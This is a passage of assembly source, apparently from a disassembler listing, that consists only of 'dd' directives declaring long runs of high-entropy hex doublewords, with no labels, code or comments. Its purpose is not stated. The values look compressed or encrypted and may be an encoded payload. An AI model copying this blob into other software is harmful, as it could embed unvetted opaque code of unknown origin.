		dd 0C1AABDA5h, 1F6815A9h, 3A584847h, 167FD42Fh,	842D5216h
		dd 3224AD4Ch, 2B31AF94h, 7C43021Ch, 7FBF034Ah, 5C56F3Fh
		dd 0FE67A9E4h, 8A580EB7h, 0F4085125h, 5DBE4075h, 0F254D78h
		dd 0E48AC856h, 1F3B99Ah, 2E06D390h, 35133131h, 37E23BC6h
		dd 0CFD8E909h, 0D3D6B15Dh, 0D148A668h, 6753AD01h, 60E6C120h
		dd 6D415CA9h, 0FF5A6942h, 0F009AE50h, 7D4FF680h, 54C65C20h
		dd 302CBCB1h, 2E5B81F1h, 89EF12CAh, 0D17EF287h,	98E50109h
		dd 7BFA3A79h, 76C22544h, 74F2BA92h, 4A9E4338h, 0F88629FAh
		dd 73B7641Dh, 0E2FD88C2h, 0C6EBC10Ch, 64925B71h, 25CBC517h
		dd 23E6FEDFh, 0E101BF5Fh, 6ABA165Bh, 98E9D384h,	0A1B2FE92h
		dd 206289DFh, 128D3455h, 0A290CBE9h, 0DA1C17Bh,	0F6303048h
		dd 70361353h, 6650FE02h, 525D3008h, 4C945969h, 5405C03Dh
		dd 866B9C17h, 8831C05h,	20141C41h, 0A29D8050h, 13569764h
		dd 96B47EE9h, 0D406288Eh, 1C0ECA43h, 165FE5BBh,	0F564E1A8h
		dd 422CD738h, 1B26E5B0h, 8433400h, 15FE58C6h, 0D84EE9CEh
		dd 3B85BA3Ch, 7011093h,	0B74ADEFh, 0F47B64FFh, 27179E20h
		dd 11F337E0h, 251F7E3Eh, 0C343C8ACh, 562F180Fh,	5DF40C05h
		dd 0A864FA2Dh, 14260862h, 294A1420h, 194A53BFh,	31D075E6h
		dd 0B8520DDh, 14B6239Ch, 0EE734A24h, 580DBC92h,	4C0505D8h
		dd 0C23F6524h, 46F56687h, 0A1C54B2Dh, 62E87E03h, 6C4F01A8h
		dd 8BD872EBh, 0D4E2E902h, 0DCB60BC8h, 0C67BECF8h, 444C3425h
		dd 68566FCAh, 8D751964h, 0C503E084h, 83FB10D2h,	0CE27D688h
		dd 0B99E5FAh, 0EDC2E368h, 4DD42D42h, 4714FF2Fh,	8717775Fh
		dd 0A310D1ABh, 535501C1h, 133AFBDDh, 10C8D62h, 3A57B965h
		dd 0C3908892h, 458E2D59h, 9BBB4C00h, 784E0349h,	31D32DEEh
		dd 8E002B6Ch, 0CDF73CBDh, 75F0A2EDh, 19C186EAh,	20EE2BAEh
		dd 4F23BD22h, 0EE16C824h, 0F57D6A18h, 0D5F62530h, 856F625Fh
		dd 2FA88859h, 8430AC4Eh, 0F91310CBh, 0ECD72F45h, 1EBB0500h
		dd 0BE48D307h, 0F8344E87h, 30BBFE84h, 721FB9A8h, 8C08B030h
		dd 0E3661B2h, 2B63E969h, 0E7CBAB13h, 3C48E425h,	0D3B565F8h
		dd 3ADD42B0h, 125122AAh, 97DBD1E8h, 0F157C234h,	0F8026505h
		dd 13AC3B5Fh, 0EA607FB8h, 0AB76FD68h, 0F019C260h, 0B54481Ch
		dd 0C312232Fh, 0BB58DB5Ch, 1D408212h, 21F22776h, 4B6C0859h
		dd 4189BFA4h, 97D540BDh, 37B9070h, 0D68A7D25h, 14854748h
		dd 0B8500071h, 12CE09C3h, 0E18CE979h, 0F015383Ch, 0D75EF5E9h
		dd 0E65EE5Eh, 15131300h, 5FE91C59h, 0E105B446h,	56927C9Fh
		dd 0F6E78806h, 41C051D7h, 0BD093FEBh, 9EED52Bh,	0D87DC98Ah
		dd 6DB20F0Dh, 0D20958E8h, 0F25B205Fh, 4C1C5244h, 26004A20h
		dd 0E90C287Fh, 0B6BAAFB2h, 7C5D43AAh, 11F2854h,	0A6F0AE48h
		dd 70D50E9h, 804507A3h,	4FDDF75Fh, 682C1B55h, 0EDF80B60h
		dd 0BC8739Bh, 629EE918h, 9888879h, 4B5B1D98h, 0A7965DEFh
		dd 0F1F3E912h, 0C4C91DBCh, 0E75773ABh, 0BDE904EEh, 0D912F4BEh
		dd 7C4D3707h, 65D2F909h, 6AAF55BAh, 4F924640h, 3805332Dh
		dd 6E9211Ch, 16A1CC53h,	35C65684h, 0DFEBD0CCh, 0E0AE576h
		dd 0BA8DCDE9h, 11017F52h, 0D9E62097h, 3E317058h, 0C55FFB90h
		dd 95A867EEh, 89ADAD58h, 0D7CD62E0h, 6A085BD3h,	0F06805A8h
		dd 0C46CEC34h, 0A1CA8D97h, 0FED4F60Fh, 4ECE6802h, 0B8F7B5B0h
		dd 3CB67DA0h, 0C118C700h, 113504E8h, 985042Ah, 0EF96D7E9h
		dd 89ED4543h, 50AE36Dh,	0BE4873AAh, 53F5FE7Dh, 131C11B4h
		dd 80CBEB14h, 2A08EB5Ah, 4059AD54h, 80D80162h, 5DC123C4h
		dd 26CA7205h, 27721942h, 2448016Bh, 152D1994h, 5D85F34h
		dd 570CC949h, 3AFE4EA0h
		dd 0DEA13953h, 130744EAh, 1AAC0439h, 8286A372h,	77E7D147h
		dd 27572B00h, 62E962A0h, 0B078D802h, 357EB76Ch,	0F6808460h
		dd 61719DC7h, 0CBE01767h, 0EAD3F6C2h, 304C12EBh, 0C4F4F2DEh
		dd 0CE5A09A2h, 0A6DF683h, 48C81D17h, 0C410DEA3h, 1EBC4B6Ch
		dd 84123E4Ch, 8F303708h, 0D040AE56h, 485740EFh,	0FD2902FBh
		dd 311F685Fh, 82BD3A59h, 0E99A509Eh, 8F095D0Ah,	0F9B6B275h
		dd 0BF57C027h, 20B43B0h, 0A67CE946h, 33BA5F51h,	0CD49BA47h
		dd 0D6F7F190h, 0F91008DBh, 0D72A3E4Bh, 755D7698h, 0F8E18690h
		dd 11B52A16h, 0CA3EEF90h, 0B0582FA7h, 83626756h, 471710D0h
		dd 7C432F4Ch, 0E92AD024h, 9915FA5h, 23126B1Ah, 9376E3BEh
		dd 0ABFB8CEEh, 25004A90h, 0BCDB951h, 48159C9h, 7D7611F1h
		dd 4620AB7Eh, 0BFB383E9h, 0F0254AE5h, 0D1CE263Ch, 13128005h
		dd 0C32953FEh, 5D60F6F8h, 6183BF18h, 491E7AEEh,	0FB5E9622h
		dd 41E64D28h, 9AF2EE4h,	0D2D5D295h, 0CB210F42h,	9A6590E8h
		dd 0EAF2BE64h, 0D4D75A37h, 89C597A8h, 0DCDC9B8Bh, 35149F5Ch
		dd 388DE924h, 0D580CA44h, 0B7363EE4h, 341005E9h, 9870B1DCh
		dd 0F927D979h, 97345BAh, 71258F76h, 0D9FFC9C2h,	0CBBD967Ch
		dd 2C3FC2EEh, 8850E5A1h, 80A2E1DCh, 1FF68145h, 9064513Fh
		dd 37B138F1h, 0FA8BAF4Ah, 83F1284Ah, 134FC04Ch,	0CCEB7B3Fh
		dd 0C6939DF0h, 0E68FE906h, 0FBF604BFh, 82700D44h, 6EFD466Ah
		dd 0B24803DCh, 8951F1BEh, 59C8229Fh, 27300055h,	0BF50FB13h
		dd 0C201E672h, 0E9118A15h, 0DFBB52ABh, 0AD675A17h, 3E0218B9h
		dd 287EF359h, 2DE1CA20h, 0E418F646h, 0A3120D19h, 0DAF0979h
		dd 7F21E27Eh, 0D7025CE2h, 4907CE32h, 2E80D58Fh,	0CB811263h
		dd 67461513h, 3DC14FBh,	0CD8D6E04h, 33FDAA9Bh, 0BD4E0196h
		dd 2167CF5Eh, 0D54AC5D4h, 0AC3482C9h, 5A3FA02Eh, 0E9088078h
		dd 906E92E1h, 0E9FD913Ch, 622E7955h, 797C5131h,	2155A62h
		dd 0D2F6D130h, 0D079C30Ah, 0E46C99C2h, 2D4ADFF4h, 0E2164729h
		dd 0FB45650h, 5EB96B95h, 0E563AD20h, 0FF578722h, 0C5B13E09h
		dd 604D25BEh, 4613B9F9h, 1FF14B50h, 9887E3A8h, 0C63B3B6h
		dd 531E0CF3h, 1EEF514Eh, 7F936873h, 9BDF3139h, 2A5401CDh
		dd 0E9FD2CEFh, 5CB9C027h, 93E153CFh, 93422C98h,	0D010E4C7h
		dd 0F5B551E2h, 5BE9EDD4h, 59F0927h, 0C0D5C255h,	505CDCF2h
		dd 6F1E8FBBh, 0A01A366h, 0D94C5138h, 0A88444F7h, 6C0478D6h
		dd 0A5E9656Eh, 0EB4D90EFh, 76324131h, 0DCC8443Ch, 0A99F40B1h
		dd 2D072FF1h, 29C06636h, 974F016h, 7E0F1430h, 676C20DDh
		dd 2CA7CF7Ah, 81539DE9h, 9472ED0Dh, 70BE87Fh, 6577D995h
		dd 0F1B1D950h, 0AFB2258h, 0F57CC368h, 0D6841169h, 0AAD6847Eh
		dd 2FA6ABA4h, 67507337h, 8A4CA109h, 82C6561Ch, 10A012F3h
		dd 65E000F5h, 24AF646Dh, 406CFA89h, 18E4E957h, 1674B880h
		dd 478FB2Ah, 136147CDh,	422E00FFh, 14A7CA81h, 0A766DE3Fh
		dd 2CB3D270h, 0C0CB5FC4h, 26286539h, 0C7945B50h, 0D9F79A12h
		dd 96CDBA0h, 49E96E20h,	0BB878D24h, 98B168FCh, 2B3B6454h
		dd 466A2A13h, 494CEFAh,	5D9BE9DEh, 0D6D0E04Bh, 0C6BC3841h
		dd 0EE1C74B4h, 0BE20C339h, 27E969Fh, 623179BFh,	617513C0h
		dd 2443949Dh, 397ED188h, 5EE76275h, 6853A5D7h, 95714CAFh
		dd 2E8B8AD6h, 0F3B35754h, 3FA54AD1h, 0CBC433F9h, 0AC09F3h
		dd 86B45084h, 6BCC72FEh, 0DE0008C4h, 5AF40888h,	98B09F94h
		dd 8078B1h, 8852A0C1h, 0CF69E9CAh, 4CBDAA99h, 9101260Ah
		dd 0E9C218ACh, 38C7018h, 12FD055Fh, 0A1A82763h,	7A59EC09h
		dd 24E2C97Fh, 0A8BA5C67h, 0B5C1E17Ah, 7BD86801h, 0F32790B6h
		dd 7C5FFBC2h, 8B445A21h, 40B8534Ah, 80CDFEC0h, 0E8E0D8F5h
		dd 0E168590Ch, 41946B44h, 16497C78h, 80F4126Dh,	0D12140E4h
		dd 3A0460F9h, 1FA13D0Bh, 2D6E0709h, 247FDDB1h, 2231E17Bh
		dd 9C277B9Ah, 7270567Bh, 0E0DF620Bh, 27685DE4h,	11C66510h
		dd 0EE717727h, 6BB2A0B8h, 0E6992DEh, 35C42558h,	0D023B067h
		dd 7389051Dh, 0C17FA20Eh, 7E12F6E0h, 790C0806h,	2E500FBAh
		dd 0E1E56153h, 4B52BF07h, 0F1E01EEh, 0E887E7F8h, 5EB7E478h
		dd 57EF895Ah, 0AC1731F5h, 0D4FEF33Bh, 0AB30281Dh, 8C4F7259h
		dd 1CC0533Eh, 0E88602EAh, 58DAF9C5h, 84F1A2CCh,	828ACC32h
		dd 977FC44Ch, 4AA15789h, 0C2387A68h, 2F307BFFh,	0F9DF1CC2h
		dd 536192A3h, 0E428EEC9h, 0BAB8FED7h, 0E5881735h, 0E8AD0E58h
		dd 1A4C2CFh, 0F2E2FFFFh, 0A160EFD7h, 0A6349468h, 1A574AE9h
		dd 0C5DD3CC6h, 6DA9A746h, 0F92D755Eh, 0A4D3C52Fh, 52413AECh
		dd 4DAEC23Fh, 82C22AC0h, 998B33B4h, 0C893F5A1h,	0A3012CF0h
		dd 0EB0C2F60h, 803B0F62h, 4727516Fh, 0BDABF071h, 0AB4CE171h
		dd 0A46427E9h, 2A20F6F2h, 0A0665E86h, 0BAEA5261h, 872D2B3Ch
		dd 97AEE94Ah, 0C7C77D0Bh, 0C072F6A5h, 4613E9DBh, 8B91CC0h
		dd 0F434556Eh, 808A9453h, 0F76F52C2h, 0EA5F2918h, 68F19C60h
		dd 0C16E0BFFh, 0A70008E6h, 20D54133h, 4009EEECh, 0B0AEB56h
		dd 292DE0Fh, 0FC5B6CA2h, 624F87F2h, 37252301h, 98D3832Dh
		dd 9881011Dh, 0B5969839h, 0F9F22D68h, 0A23A5681h, 2E0910E0h
		dd 0C1FDB214h, 4CD58625h, 9271987Ah, 215D4B46h,	274E10h
		dd 3833EF80h, 28935866h, 0AF9A17F8h, 0BD5BDBDEh, 0CBAE4A9Dh
		dd 9AB9008Ch, 5152E418h, 5B05905Ah, 0EB241274h,	122EBC76h
		dd 2D6E6968h, 40388B61h, 21F9162h, 0A849BF15h, 474B82E8h
		dd 0CB6D52Eh, 658E8827h, 0E2BF08D9h, 5148AC20h,	1061374Dh
		dd 0D750D0D2h, 5A07D147h, 732E982Ch, 0FE181DEEh, 0D3E912F8h
		dd 11B4EB56h, 82EBFD01h, 81BD54F4h, 1352EDF5h, 0D09F713Ah
		dd 60EF3F0Fh, 0B980B4C7h, 0C8471748h, 0A7230105h, 820F7661h
		dd 4FDA7B2Ch, 1D8B5549h, 0B22CD805h, 1FE65F20h,	0B86BD113h
		dd 50C2A285h, 71039886h, 9B0A3D69h, 3D8248A7h, 863F389h
		dd 0CE5BF377h, 9DA48CE8h, 5982B76h, 57550053h, 453288BFh
		dd 3A256806h, 0B66676h,	6E4437DBh, 84E8D8BDh, 8E25CD90h
		dd 0B2E5578Bh, 0FED512BFh, 3F681442h, 0F091F779h, 74A7A504h
		dd 0A8745205h, 0C64EA4C9h, 5716A5ECh, 0A5F9B854h, 0D1FB0671h
		dd 826BAD3Fh, 6D43F368h, 85617ABh, 963A82DCh, 0B284FB7h
		dd 89B8BE5Fh, 0F1B0A3C6h, 3325C332h, 4A7EF61Ch,	0D5860C40h
		dd 1E09EE45h, 0FD4ACF73h, 2B64EE30h, 375B1C4h, 0FC2B66E5h
		dd 40294A4Fh, 8DE5F6FDh, 5A8993F4h, 0B2F1ACF2h,	0E6394056h
		dd 507B092Bh, 5F80EDC1h, 0ECD3ADC5h, 3AE6E5Bh, 1A3FC67Fh
		dd 1089BAC5h, 542C847Ch, 7EC2278Ah, 0B15C7DDh, 25F0F5E9h
		dd 0C9BCF1BFh, 0A9DC7ECAh, 4FA97507h, 7A1FE140h, 209390D0h
		dd 0F19FC25Bh, 56F5936Dh, 4A8BA327h, 2CFB98EFh,	0EFE8215Ah
		dd 4EDEF1h, 0E164FB68h,	0BD2F76Fh, 53ED23E9h, 0AA5596B9h
		dd 13C6C715h, 90FE9031h, 634C0EC5h, 0F3052176h,	94FAA8C1h
		dd 4859082h, 24C0FF46h,	0F47138CEh, 3CFA06Dh, 92A52537h
		dd 0E905C759h, 0DDAA6682h, 0D5716BAAh, 0C1783E7Ch, 106B9EC6h
		dd 290F585Fh, 9FA722EAh, 121A5DAAh, 78BC1F60h, 78D5DCB5h
		dd 90954E53h, 80B738DEh, 5248F188h, 775A3293h, 638082EBh
		dd 0E3570B7Eh, 1E48D8B1h, 9E09795Fh, 12082055h,	0C536E95Ah
		dd 82FB975Ch, 51F76FF8h, 0CF014364h, 0A0BD62FEh, 0DF4D7551h
		dd 170CC774h, 2966A152h
		dd 8E8A0FAh, 834E3098h,	0FB1055E3h, 546802B0h, 0E3513E75h
		dd 4F1AE62Ch, 0E5EBB88Ah, 4525AEFCh, 0C898159h,	0BDF6E946h
		dd 7BEF20DAh, 0F4B5B21Eh, 145F271Eh, 0A1E8977Bh, 82BAAB98h
		dd 28805F9Dh, 35FD2E3Dh, 0A09C08FCh, 0D689C3Bh,	0C5C2B06Ch
		dd 46BB0063h, 2B5AD203h, 0EB1ADDF8h, 92004804h,	681BFF42h
		dd 137B7525h, 8546C0CDh, 5DF11B0Ah, 0DA982831h,	329ADFE9h
		dd 0AD49B63Bh, 7D008B4Bh, 16D6DF00h, 469829C9h,	5CD39120h
		dd 2C1E0759h, 0D24ABBD0h, 0A0D7C318h, 5DBE5622h, 902AEC3Ah
		dd 5015FC68h, 14EEAAFCh, 0A9A7C436h, 0A55E3A16h, 23F47B27h
		dd 1E60491Dh, 4192EB3Bh, 2ADDC98Eh, 0DE4C0AC0h,	0F281036Eh
		dd 46394B09h, 2B5AD7A1h, 1F9681E4h, 0D1E54864h,	0D5E93AF9h
		dd 1F162A83h, 4107CABAh, 0F5830A1h, 37DD540Bh, 42178ED1h
		dd 60957053h, 1F63C77Eh, 179CB01h, 0D84833CFh, 0D924833Fh
		dd 9319B37h, 0CD94B67Eh, 0E99C0177h, 0BC7BF387h, 0E1F2E785h
		dd 4F39F1F7h, 0F3527884h, 39041326h, 50D49949h,	431B749h
		dd 0AE052A81h, 92013370h, 4C7F7739h, 3FE3BC6Eh,	0A550BC5h
		dd 0A0395679h, 8B595808h, 0C0D0528Bh, 78505CB5h, 72C03D4h
		dd 782FB31Bh, 9FFEA1E1h, 0E97FF625h, 4C3A8507h,	688302E8h
		dd 0BA8457C0h, 0D289FFB7h, 0E8282F60h, 45E8664Eh, 0ABCFFE12h
		dd 0D3E79781h, 4EE9C7E0h, 0A6028402h, 27CE52A4h, 0A2E458B3h
		dd 664D7500h, 0C6A5FB9Fh, 5BDC07B9h, 0C3414092h, 2AB90BF1h
		dd 0B7E22076h, 79B93012h, 16EB5345h, 6EEE694h, 0C0C08341h
		dd 22E804Dh, 0FC50BAB8h, 87BF8037h, 764F3E0Dh, 8098229h
		dd 34D57B89h, 0FEE913F5h, 0EFE76153h, 0EDC58158h, 70B547ECh
		dd 40BBE83Ah, 2DC98B08h, 0D8260F0h, 4F6675B0h, 2DBDF04Dh
		dd 422CCE74h, 0DB2D1ED5h, 3168A51Eh, 6E65DD1Dh,	99AED17Ah
		dd 0E98E24D3h, 0A3DF7926h, 0F9026989h, 669582ADh, 87407B10h
		dd 2C283DB8h, 1E01BB0Ch, 0C14B7C0Dh, 98FF05EFh,	1415C33Eh
		dd 0C6FA0106h, 169E9620h, 4B19123Ch, 0EFED9490h, 631A267Fh
		dd 69E032Dh, 0FC121CB6h, 0CBBA295Eh, 76C51A7Fh,	47227551h
		dd 79D54AF0h, 75F188F6h, 5DE84630h, 0B2DD9559h,	8A45D521h
		dd 1E09DA6Ah, 0CC985F71h, 0BDB28D8Eh, 13E68103h, 0E118BB0Dh
		dd 0A26AD9F2h, 89EB8486h, 58F3CCEFh, 24BED597h,	65956812h
		dd 0BBB5B2FCh, 0D0F54BC2h, 0E5575CFAh, 0AB676304h, 14E2EE64h
		dd 300A94Fh, 809C8FFDh,	53BEAE9h, 3294C1ACh, 20B10814h
		dd 229D28CFh, 0D7920252h, 6EFB69A0h, 4D6032ABh,	9B30A70Eh
		dd 8957126Ah, 58D4ACEFh, 71C170Ch, 0BB531430h, 0B95E131Dh
		dd 0B0060046h, 437A1451h, 78420EC1h, 0C8E7E8Fh,	0CD45E210h
		dd 9FBFC24Bh, 0CA92C7F1h, 0C25D95C2h, 2E45F2Eh,	17B2F120h
		dd 0CC40EF68h, 0C462D448h, 514AD71Bh, 1712BF36h, 0CBE7A822h
		dd 0B301DD5Eh, 0C02F7648h, 0DC1303B8h, 0EEB16E0Fh, 8955EEA7h
		dd 162FDE22h, 0C6F4B4D1h, 0D4FA1909h, 412ABBBh,	0BF017619h
		dd 203739C0h, 0EC0CCFB6h, 0C7C944Fh, 874412F4h,	3D33A453h
		dd 348C391Fh, 0B94584BCh, 9791B4D4h, 8C6E0591h,	609F9000h
		dd 0BFE7C149h, 0E9411F5Eh, 0C82F6BA1h, 77F256A9h, 96447C4Fh
		dd 0EA14994Ah, 2545F51Ch, 5F2C1255h, 16713184h,	0C004531Ah
		dd 2F076C30h, 91852B12h, 0FB7FD5E4h, 5BEF5881h,	4CC0F71h
		dd 0E42C58B9h, 0BB7E6416h, 58668288h, 25841531h, 26680249h
		dd 495DD0Ch, 9F0E5ADh, 9D75BE9h, 0F771D54Bh, 5DDFD762h
		dd 0C35FD646h, 0FD9A10FBh, 0B2DBAC5Eh, 0DFC2CA57h, 31410B31h
		dd 66A16AFFh, 7629AA2Ah, 0BC265DF8h, 93C788AAh,	4872431Bh
		dd 78057CE7h, 0C46F8727h, 40F55D59h, 0C6AE4658h, 0A7AAA3E9h
		dd 250F80F6h, 4708BD0h,	5A0E418Eh, 0C84F8C6h, 4ABF5C5Fh
		dd 1D61D80Bh, 4B09D3E6h, 7AF3299Fh, 202C4CAFh, 5C698748h
		dd 0D95BDDFBh, 19D0E986h, 3013C66Fh, 1BA029F8h,	0DF82397Ah
		dd 69092273h, 27D2C474h, 9E93A557h, 655CCFC2h, 2CAFAC16h
		dd 4D03B28Ah, 0D028172Ch, 5AC5A704h, 0BF3903ACh, 0F6F201FFh
		dd 0B3EA80D2h, 0C7CA4288h, 0B904F678h, 56FE0138h, 5B94D4C0h
		dd 0FCE04A27h, 0B3A95FF0h, 4B90ABE6h, 0A47E3809h, 0E1187533h
		dd 4802F381h, 0E9B196D4h, 2795F6B5h, 345D871Ah,	47B42799h
		dd 0BED903BBh, 0A40B9A49h, 61537F21h, 10176815h, 1E4E6050h
		dd 84E60B8Dh, 0BB256896h, 0BB9E493h, 3C547A55h,	836164DFh
		dd 7BE8000Ah, 681C4940h, 84BB2F7Fh, 8802762Fh, 83284C01h
		dd 15F8445Eh, 8CDAE9C2h, 2DF314Ah, 0B8249A0h, 79683075h
		dd 65BF96EFh, 0E190BEA5h, 3516D3h, 33DBB926h, 0F9316BD0h
		dd 276F5F48h, 531DF483h, 0A7C469E1h, 0BCACE073h, 0C3B379h
		dd 12FEBF57h, 0A7980745h, 0FB7E1012h, 0FAAA09FBh, 0B0774185h
		dd 4D4A6897h, 0F3F58CBFh, 7DE86A17h, 978806BFh,	0A195B78Bh
		dd 296068A5h, 3216C776h, 475FBA8h, 5C67B4EAh, 96933148h
		dd 3BB069BAh, 0B8D4BFECh, 0F812398Fh, 681798C5h, 32265F4Ah
		dd 0C67E85B2h, 80E7C02Dh, 301573F6h, 0CE06CDC3h, 7F5E92E9h
		dd 68527430h, 283B5ACFh, 0DBB55A5Eh, 0A96A72Ah,	60765355h
		dd 32163B45h, 84AE15C9h, 0E9080201h, 7CFCA104h,	51535041h
		dd 0CBC9D421h, 166D8B2Bh, 58D4E7Bh, 814DEFE4h, 3CFC7E5Ch
		dd 0DF5AB65Fh, 0CBF9E946h, 9C4A6044h, 0FE74F7AEh, 68BE10B5h
		dd 6C4D5E9Ch, 78414808h, 0B141DD2Ch, 9930AA2Ah,	4B492F92h
		dd 7FFE97Ah, 6D78193Eh,	6293E260h, 5BAFB07Ch, 0AAC7C44Bh
		dd 9C801183h, 0A9D557C3h, 0C5E050CDh, 0EB302EB4h, 68F742A4h
		dd 59B1B1FFh, 0A044EA2Ah, 0E9AB4596h, 0EDEEE467h, 2A21A549h
		dd 362F4572h, 0E094D52Dh, 0ACBAE725h, 7E47007Dh, 0E942415Eh
		dd 5DCF742Dh, 0A1E4669Bh, 0DCD02173h, 459F019Ah, 0B4F8179Eh
		dd 360ED79h, 0F5EA6454h, 0D5312C19h, 0ADBD429Ch, 3D16F1DFh
		dd 2A354609h, 6348CFDh,	5E35B807h, 0F574EAC6h, 143CBABh
		dd 546C6853h, 5A303E3Bh, 0C4BD0455h, 0AE19974Eh, 31A5F788h
		dd 4B80A405h, 0E3A793A9h, 141267FCh, 0ED358DBEh, 2BF05D3h
		dd 545C7AD3h, 0A8D0F882h, 89B92F2h, 9F6E4E1Ch, 5E4C1210h
		dd 0AE884313h, 2AE92560h, 0F5E99DC9h, 0F32C6FC7h, 5A104035h
		dd 4C8B8762h, 0A73D5C02h, 8620FCD8h, 41F69725h,	0B1455552h
		dd 89C7186Bh, 0EA90D37Ah, 326102DAh, 0C21ED068h, 527E5E5Fh
		dd 9CF295D2h, 0CCD8AC81h, 350CC04Dh, 641B70CFh,	0F309E3B8h
		dd 762AA512h, 6008A0B8h, 75ED0E58h, 0CC14476h, 10C7A8Ch
		dd 6B352AA8h, 0FBF86D45h, 5EF66930h, 9250EB68h,	0F451203Ch
		dd 0E0FD5F4Ah, 174B3584h, 0CC0A13FAh, 5C5825F1h, 3DB4A7EBh
		dd 0B97EC7F1h, 4382F46Fh, 56676CEh, 0BE8802B7h,	0FD2605F1h
		dd 0B095E985h, 0EA2E30D9h, 39132D59h, 0DA1BB620h, 0BA0A4AC6h
		dd 585E6004h, 0EF1F16FAh, 0B36B9021h, 9209AE05h, 78B10774h
		dd 3F25E660h, 0E9550971h, 9AF92373h, 0EA205A28h, 2BBE06FAh
		dd 0BC22B34Fh, 2F13A420h, 78105158h, 9BB573ABh,	77ACF248h
		dd 549779C6h, 0BD28951Dh, 0B268AE2Dh, 0FE73DFF3h, 2AD5A551h
		dd 0A92B1F29h, 0A3C9B7D1h, 278CB491h, 5E24C351h, 0D725C043h
		dd 74C971E6h, 0DF8F4210h, 0F552E231h, 4B5F28F1h, 27DD9EAFh
		dd 5FCA622Ah, 2FA8E202h, 67E1CCE3h, 0E58924CAh,	524B109h
		dd 0B5518636h, 110170Ch
		dd 0FD38EAE8h, 0E83B4BBFh, 5999A163h, 4001EE05h, 768D305Ah
		dd 12AAE830h, 0BC8972CFh, 98E98208h, 40040B7Ah,	938B1E2Bh
		dd 0A07E44C8h, 27795F15h, 3DD855BFh, 5EF7310Bh,	6A105D47h
		dd 0D1657854h, 86B9EBB8h, 92590C6Bh, 106F6C85h,	0BC049EB8h
		dd 0AE277E64h, 50B1ACC1h, 0BACE523Bh, 53819BF3h, 63FB77E9h
		dd 19914B32h, 11413325h, 504E505h, 0AFCFCECCh, 18C4CAA2h
		dd 0C8161CF2h, 77BC8717h, 56E7B84h, 0B009CB01h,	8F1CF7B9h
		dd 3F703CFCh, 50BEFC97h, 7C4F9868h, 70E9AC60h, 91909DB5h
		dd 8F0B6856h, 807BB075h, 9F3F682h, 90297DAEh, 2755740Fh
		dd 0C475540Bh, 3E2738F7h, 0C073BD5Fh, 0FBE3F8Eh, 87D66D29h
		dd 72842BB8h, 0E1B1A8AEh, 0DFDE60E9h, 27A9A727h, 0A27FA29Eh
		dd 0F0CDAF7h, 39B727B1h, 0E650B38Bh, 7A112D0Fh,	9242DD9Fh
		dd 41316E1Eh, 2FD9F692h, 2C20420h, 259E3F7Fh, 0F1F5D029h
		dd 985F6B2Eh, 0AECB741h, 0FE30CBB6h, 0F62CE353h, 49C7F083h
		dd 81C790F5h, 2424E2EAh, 74D127Dh, 72453F21h, 0D61E3D1h
		dd 48F3D5Fh, 113B7595h,	323156C0h, 0B51550B8h, 60B5B035h
		dd 7758BC10h, 215F1DA1h, 0B2EB3E81h, 0F902396Fh, 0CC843E97h
		dd 0A7C2ECEFh, 0FFD4E8F2h, 0FB972EB6h, 8A880825h, 0B21C6809h
		dd 9019607Fh, 3421067Ch, 0F5523BE9h, 75DDF513h,	0C2CF06BFh
		dd 0C1778983h, 44F65BB8h, 0A05A5D80h, 0F502E8Ah, 0DF292BB3h
		dd 0E5606FE9h, 348EA68h, 0E34D44Ch, 0F74C3DEEh,	64741EBh
		dd 3B49B464h, 71213C4h,	2047F5EEh, 7F9068DDh, 597EE613h
		dd 57E0F3B1h, 0C54497B3h, 0D417CC2Eh, 0B766AD58h, 0DCF6C9EEh
		dd 0E031DA4Bh, 0CDB0CF50h, 0F07B6BA0h, 37E1C5A0h, 3A774D13h
		dd 0CF2B6B01h, 7960D7D8h, 0FB52072Eh, 85F12949h, 5E0809E9h
		dd 4F90877Dh, 1981EFB5h, 0E92B1E8Bh, 0BA80055Fh, 42E25AB0h
		dd 0DB681276h, 26DE285Bh, 1141D341h, 0F600ECC3h, 0FCF72CD0h
		dd 0E4B71F47h, 815C4B36h, 465084Eh, 5D9485BCh, 0A9103C06h
		dd 790B8007h, 0DD5A272Eh, 809B942h, 642A11DEh, 0C3B0FEFCh
		dd 77EF2825h, 0DD5C8E9Bh, 0C98849A5h, 0B720705Fh, 488D5880h
		dd 6817D428h, 0A835184Fh, 47923500h, 2DE9764Eh,	3449BCF4h
		dd 5E0A182Dh, 1CC7F306h, 5FE50DF4h, 31B7D2C4h, 1144EA95h
		dd 905EC281h, 42E2C101h, 8BA997F7h, 1A420E8Fh, 0FC554F47h
		dd 185A980Ah, 0FB3E6085h, 0EF1A3544h, 1F25D513h, 0F2408B12h
		dd 0C480EC28h, 0B713F4AAh, 0AE848BCAh, 0EA8F1FFEh, 82B8C47Ah
		dd 0F02828AAh, 873B7E5Dh, 550B7FFEh, 2FF447E4h,	5E5B45BAh
		dd 5C1022AAh, 43037477h, 244B3EF6h, 1A99DEEAh, 77A3D019h
		dd 4B01638Eh, 89CEB946h, 8E9290Bh, 0F208FF7Ah, 505918B3h
		dd 0B13E3B8Fh, 0F781E24Ah, 0AB1477D0h, 4F55409Fh, 9A08B04Eh
		dd 5A6AC2D1h, 4057D210h, 0EC6101C1h, 0B28982Dh,	0D5085618h
		dd 0F8984CE3h, 27134305h, 5BA35CACh, 83200758h,	0C0F2B000h
		dd 0D8F602E8h, 0C9B21E52h, 20458080h, 49345AD0h, 2C9F0400h
		dd 5BF83086h, 0E525BE9h, 87C54113h, 52C4288Bh, 3062504Ch
		dd 83F31B4Ah, 90E8B026h, 0D67B60Dh, 652F80BBh, 0B55CE3Fh
		dd 8996D5C0h, 51BFC5B8h, 0D25D69F1h, 0FE07D739h, 0BD57353Ch
		dd 90B41EF6h, 0BE95D5EBh, 0E55FB382h, 1A5DA5F5h, 2E7C6750h
		dd 0C5F79201h, 94E3AEF9h, 4BB8F296h, 0FAC771F3h, 13CF238h
		dd 67899CE0h, 2B7E5F82h, 0D81C866Fh, 595B3966h,	4EB8012h
		dd 93D20B3h, 764B575Dh,	66B58F73h, 0BEA2F62Fh, 88ED8132h
		dd 8255466Ah, 0E525080Ch, 0C31734Dh, 0C6A168A8h, 1151BE7Ch
		dd 26DDDA2h, 4B81445Bh,	5E8C531Ch, 48554A8Ch, 0CB55A59Bh
		dd 38EFEC44h, 26419E72h, 5922202Ah, 1B5F54E6h, 0C6319503h
		dd 7EEF858h, 0C47E9068h, 1E6C1639h, 98AA5417h, 8F5BD3C8h
		dd 219529FAh, 0DDE76CDEh, 250E7D0h, 0B3554A20h,	709F106Dh
